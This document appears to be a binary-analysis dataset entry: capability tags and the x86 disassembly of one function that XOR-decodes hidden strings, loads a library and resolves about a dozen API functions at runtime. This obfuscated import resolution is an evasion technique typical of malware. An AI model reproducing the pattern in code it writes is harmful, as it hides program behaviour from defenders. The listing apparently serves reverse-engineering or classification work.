Function at 0x41dc5e
Capabilities:
Encode data using xor
Link many functions at runtime
Set current directory

Disassembly:
mov eax, 0x4670d2
call fcn.00465ac0
sub esp, 0x194
cmp byte [0x48a8a4], 0
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x14], esi
jne 0x41e422
xor ebx, ebx
mov dword [ebp - 0x3c], 0x59405b35
mov cl, 0x35
mov word [ebp - 0x38], 0x59
mov edx, ebx
xor byte [ebp + edx - 0x3b], cl
inc edx
cmp edx, 4
jae 0x41dca5
mov cl, byte [ebp - 0x3c]
jmp 0x41dc96
lea edx, [ebp - 0x3b]
mov byte [ebp - 0x37], bl
mov ecx, esi
call fcn.0041410b
xor ecx, ecx
inc ecx
test al, al
jne 0x41e3e6
cmp dword [0x486a74], 0x10
mov edx, 0x486a60
mov edi, 0x486970
cmovae edx, dword [0x486a60]
mov ecx, edi
cmp dword [0x486984], 0x10
cmovae ecx, dword [0x486970]
call fcn.00433ad6
mov esi, eax
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
mov byte [ebp - 0x5c], bl
lea edx, [ebp - 0x3c]
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x3c], eax
call fcn.00414d66
pop ecx
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], ebx
call fcn.00415711
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
mov bl, al
call fcn.0041314d
test bl, bl
jne 0x41df44
cmp dword [0x486984], 0x10
mov esi, edi
cmovae esi, dword [0x486970]
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
and dword [ebp - 0x58], 0
lea ecx, [ebp - 0x58]
and dword [ebp - 0x48], 0
push eax
mov dword [ebp - 0x44], 0xf
call fcn.0041338c
lea ecx, [ebp - 0x58]
call fcn.0040c990
lea ecx, [ebp - 0x58]
call fcn.0041332b
cmp dword [0x4867bc], 0x10
mov ebx, 0x4867a8
mov edx, ebx
mov ecx, edi
cmovae edx, dword [0x4867a8]
cmp dword [0x486984], 0x10
cmovae ecx, dword [0x486970]
call fcn.00433ad6
mov esi, eax
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
xor ecx, ecx
push 0xf
mov dword [ebp - 0x58], ecx
pop esi
mov dword [ebp - 0x48], ecx
mov byte [ebp - 0x58], cl
lea ecx, [ebp - 0x58]
push eax
mov dword [ebp - 0x44], esi
call fcn.0041338c
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x14], 0x10
jb 0x41dddc
mov eax, dword [eax]
xor ecx, ecx
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x64], ecx
mov byte [ebp - 0x74], cl
lea ecx, [ebp - 0x74]
push eax
call fcn.0041338c
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x74]
call fcn.004327b4
lea ecx, [ebp - 0x74]
call fcn.0041332b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.0041332b
cmp dword [0x486984], 0x10
mov esi, edi
cmovae esi, dword [0x486970]
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp dword [0x4867bc], 0x10
mov edx, ebx
mov ecx, edi
cmovae edx, dword [0x4867a8]
cmp dword [0x486984], 0x10
cmovae ecx, dword [0x486970]
call fcn.00433ad6
mov esi, eax
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
push ecx
push ecx
mov ecx, eax
call fcn.0041dae9
mov esi, eax
or edx, 0xffffffff
lea eax, [ebp - 0x1a0]
mov ecx, esi
push eax
call fcn.0041db6d
mov eax, dword [ebp - 0x1a0]
add esp, 0xc
xor ebx, ebx
test eax, eax
jle 0x41decb
mov edi, eax
lea eax, [ebp - 0x1a0]
mov edx, ebx
push eax
mov ecx, esi
call fcn.0041db6d
push ecx
lea eax, [ebp - 0x19c]
mov edx, ebx
push eax
mov ecx, esi
call fcn.0041dba9
add esp, 0xc
inc ebx
cmp ebx, edi
jl 0x41de9d
mov edi, 0x486970
test esi, esi
je 0x41dedd
cmp dword [esi], 1
jne 0x41dedd
mov ecx, esi
call fcn.0041dbd8
jmp 0x41dee4
mov ecx, esi
call fcn.0043cdc4
cmp dword [0x4867bc], 0x10
mov edx, 0x4867a8
mov ecx, edi
cmovae edx, dword [0x4867a8]
cmp dword [0x486984], 0x10
cmovae ecx, dword [0x486970]
call fcn.00433ad6
mov esi, eax
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
and dword [ebp - 0x58], 0
lea ecx, [ebp - 0x58]
and dword [ebp - 0x48], 0
push eax
mov dword [ebp - 0x44], 0xf
call fcn.0041338c
lea ecx, [ebp - 0x58]
call fcn.0040c941
lea ecx, [ebp - 0x58]
call fcn.0041332b
cmp dword [0x486a74], 0x10
mov edx, 0x486a60
mov ecx, edi
cmovae edx, dword [0x486a60]
cmp dword [0x486984], 0x10
cmovae ecx, dword [0x486970]
call fcn.00433ad6
mov esi, eax
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
mov byte [ebp - 0x11], 0
lea edx, [ebp - 0x3c]
push dword [ebp - 0x11]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x3c], eax
call fcn.00414d66
pop ecx
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 3
call fcn.00415711
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
mov bl, al
call fcn.0041314d
test bl, bl
je 0x41e3e1
cmp dword [0x486a74], 0x10
mov edx, 0x486a60
mov ecx, edi
cmovae edx, dword [0x486a60]
cmp dword [0x486984], 0x10
cmovae ecx, dword [0x486970]
call fcn.00433ad6
mov esi, eax
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
mov byte [ebp - 0x11], 0
lea edx, [ebp - 0x3c]
push dword [ebp - 0x11]
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x3c], eax
call fcn.00414d66
pop ecx
push 4
pop esi
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], esi
call fcn.004156d2
test edx, edx
jne 0x41e022
cmp eax, 0x19000
ja 0x41e022
xor bl, bl
jmp 0x41e024
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.0041314d
test bl, bl
je 0x41e3e1
mov cl, 0x3b
mov dword [ebp - 0x13], 0x6f7a6b3b
mov word [ebp - 0xf], 0x73
xor eax, eax
xor byte [ebp + eax - 0x12], cl
inc eax
cmp eax, esi
jae 0x41e057
mov cl, byte [ebp - 0x13]
jmp 0x41e049
lea eax, [ebp - 0x12]
mov byte [ebp - 0xe], 0
push eax
call fcn.00444e77
mov ebx, eax
pop ecx
test ebx, ebx
je 0x41e0e0
cmp dword [0x486984], 0x10
mov esi, edi
cmovae esi, dword [0x486970]
call fcn.00433f77
push 0
mov edx, esi
mov ecx, eax
call fcn.00433ad6
push eax
push 0x477520
push ebx
call fcn.0043423c
add esp, 0x10
mov dword [ebp - 0x14], 0x17021343
xor ebx, ebx
mov word [ebp - 0x10], 0x7e0b
mov esi, eax
mov byte [ebp - 0xe], bl
mov dl, 0x43
mov ecx, ebx
xor byte [ebp + ecx - 0x13], dl
inc ecx
cmp ecx, 5
jae 0x41e0c1
mov dl, byte [ebp - 0x14]
jmp 0x41e0b2
push ebx
lea eax, [ebp - 0x13]
mov byte [ebp - 0xe], bl
push esi
push eax
call fcn.0043423c
push eax
call fcn.004490ad
push esi
call fcn.0043e4ae
add esp, 0x14
jmp 0x41e0e2
xor ebx, ebx
cmp dword [0x486a74], 0x10
mov edx, 0x486a60
cmovae edx, dword [0x486a60]
cmp dword [0x486984], 0x10
cmovae edi, dword [0x486970]
mov ecx, edi
call fcn.00433ad6
mov esi, eax
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x41e45d
mov byte [0x48a8a4], 1
mov cl, 0x1d
mov dword [ebp - 0x17], 0x4e4e531d
mov eax, ebx
mov dword [ebp - 0x13], 0x74735442
mov word [ebp - 0xf], 0x69
xor byte [ebp + eax - 0x16], cl
inc eax
cmp eax, 8
jae 0x41e159
mov cl, byte [ebp - 0x17]
jmp 0x41e14a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x16]
push eax
push esi
mov byte [ebp - 0xe], bl
call edi
mov dword [0x48a8a8], eax
mov cl, 0x66
mov dword [ebp - 0x1b], 0x35352866
mov eax, ebx
mov dword [ebp - 0x17], 0x130e3539
mov dword [ebp - 0x13], 0x11090212
mov word [ebp - 0xf], 8
xor byte [ebp + eax - 0x1a], cl
inc eax
cmp eax, 0xc
jae 0x41e19c
mov cl, byte [ebp - 0x1b]
jmp 0x41e18d
lea eax, [ebp - 0x1a]
mov byte [ebp - 0xe], bl
push eax
push esi
call edi
movaps xmm0, xmmword [0x47ba00]
mov ecx, ebx
mov dword [0x48a8c4], eax
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x110d2304
mov dword [ebp - 0x44], 0x1c07043b
mov byte [ebp - 0x40], bl
mov al, byte [ebp - 0x58]
xor byte [ebp + ecx - 0x57], al
inc ecx
cmp ecx, 0x17
jb 0x41e1c9
lea eax, [ebp - 0x57]
mov byte [ebp - 0x40], bl
push eax
push esi
call edi
push 0x4d
pop ebx
mov dword [0x48a8c8], eax
mov cl, 0x22
mov dword [ebp - 0x1c], 0x13697222
xor eax, eax
mov dword [ebp - 0x18], 0x50647d13
mov dword [ebp - 0x14], 0x4e714747
mov byte [ebp - 0x10], bl
mov word [ebp - 0xf], 0x56
xor byte [ebp + eax - 0x1b], cl
inc eax
cmp eax, 0xd
jae 0x41e219
mov cl, byte [ebp - 0x1c]
jmp 0x41e20a
lea eax, [ebp - 0x1b]
mov byte [ebp - 0xe], 0
push eax
push esi
call edi
movaps xmm0, xmmword [0x47bd00]
xor ecx, ecx
mov dword [0x48a8b8], eax
movups xmmword [ebp - 0x2f], xmm0
mov word [ebp - 0x1f], 0x3524
mov byte [ebp - 0x1d], 0
mov al, byte [ebp - 0x2f]
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 0x11
jb 0x41e240
lea eax, [ebp - 0x2e]
mov byte [ebp - 0x1d], 0
push eax
push esi
call edi
movaps xmm0, xmmword [0x47bde0]
xor ecx, ecx
mov dword [0x48a8b4], eax
movups xmmword [ebp - 0x2d], xmm0
mov byte [ebp - 0x1d], 0
mov al, byte [ebp - 0x2d]
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 0xf
jb 0x41e26e
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x1d], 0
push eax
push esi
call edi
mov cl, bl
mov dword [0x48a8b0], eax
mov byte [ebp - 0x1b], cl
xor eax, eax
mov dword [ebp - 0x1a], 0x24213c3e
mov dword [ebp - 0x16], 0x127e2839
mov dword [ebp - 0x12], 0x23283d22
mov byte [ebp - 0xe], 0
xor byte [ebp + eax - 0x1a], cl
inc eax
cmp eax, 0xc
jae 0x41e2ba
mov cl, byte [ebp - 0x1b]
jmp 0x41e2ab
lea eax, [ebp - 0x1a]
mov byte [ebp - 0xe], 0
push eax
push esi
call edi
movaps xmm0, xmmword [0x47bba0]
xor ecx, ecx
mov dword [0x48a89c], eax
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x753118
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x12
jb 0x41e2de
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x1d], 0
push eax
push esi
call edi
mov dword [0x48a8ac], eax
xor eax, eax
mov byte [ebp - 0x1b], bl
mov dword [ebp - 0x1a], 0x24213c3e
mov dword [ebp - 0x16], 0x127e2839
mov dword [ebp - 0x12], 0x3d28393e
mov byte [ebp - 0xe], 0
xor byte [ebp + eax - 0x1a], bl
inc eax
cmp eax, 0xc
jae 0x41e328
mov bl, byte [ebp - 0x1b]
jmp 0x41e319
lea eax, [ebp - 0x1a]
xor ebx, ebx
push eax
push esi
mov byte [ebp - 0xe], bl
call edi
movaps xmm0, xmmword [0x47c220]
mov ecx, ebx
mov dword [0x48a8a0], eax
movups xmmword [ebp - 0x31], xmm0
mov dword [ebp - 0x21], 0x565a4756
mov byte [ebp - 0x1d], bl
mov al, byte [ebp - 0x31]
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0x13
jb 0x41e350
lea eax, [ebp - 0x30]
mov byte [ebp - 0x1d], bl
push eax
push esi
call edi
movaps xmm0, xmmword [0x47c070]
mov ecx, ebx
mov dword [0x48a8c0], eax
movups xmmword [ebp - 0x2e], xmm0
mov word [ebp - 0x1e], 0x73
mov al, byte [ebp - 0x2e]
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 0x10
jb 0x41e37f
lea eax, [ebp - 0x2d]
mov byte [ebp - 0x1d], bl
push eax
push esi
call edi
push 0x7d
pop ecx
mov dword [0x48a8cc], eax
mov eax, ebx
mov byte [ebp - 0x2b], cl
mov dword [ebp - 0x2a], 0x14110c0e
mov dword [ebp - 0x26], 0x224e1809
mov dword [ebp - 0x22], 0xe12111e
mov word [ebp - 0x1e], 0x18
xor byte [ebp + eax - 0x2a], cl
inc eax
cmp eax, 0xd
jae 0x41e3cd
mov cl, byte [ebp - 0x2b]
jmp 0x41e3be
lea eax, [ebp - 0x2a]
mov byte [ebp - 0x1d], bl
push eax
push esi
call edi
xor ecx, ecx
mov dword [0x48a8bc], eax
inc ecx
jmp 0x41e3e6
xor ecx, ecx
inc ecx
xor ebx, ebx
cmp dword [0x48a8a8], 0
je 0x41e41c
cmp dword [0x48a8c4], 0
je 0x41e41c
cmp dword [0x48a8c8], 0
je 0x41e41c
cmp dword [0x48a8b4], 0
je 0x41e41c
cmp dword [0x48a8b0], 0
je 0x41e41c
cmp dword [0x48a8b8], 0
jne 0x41e41e
mov ecx, ebx
mov eax, ecx
jmp 0x41e45f
cmp dword [0x48a8a8], 0
je 0x41e45d
cmp dword [0x48a8c4], 0
je 0x41e45d
cmp dword [0x48a8c8], 0
je 0x41e45d
cmp dword [0x48a8b4], 0
je 0x41e45d
cmp dword [0x48a8b0], 0
je 0x41e45d
cmp dword [0x48a8b8], 0
je 0x41e45d
xor eax, eax
inc eax
jmp 0x41e45f
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret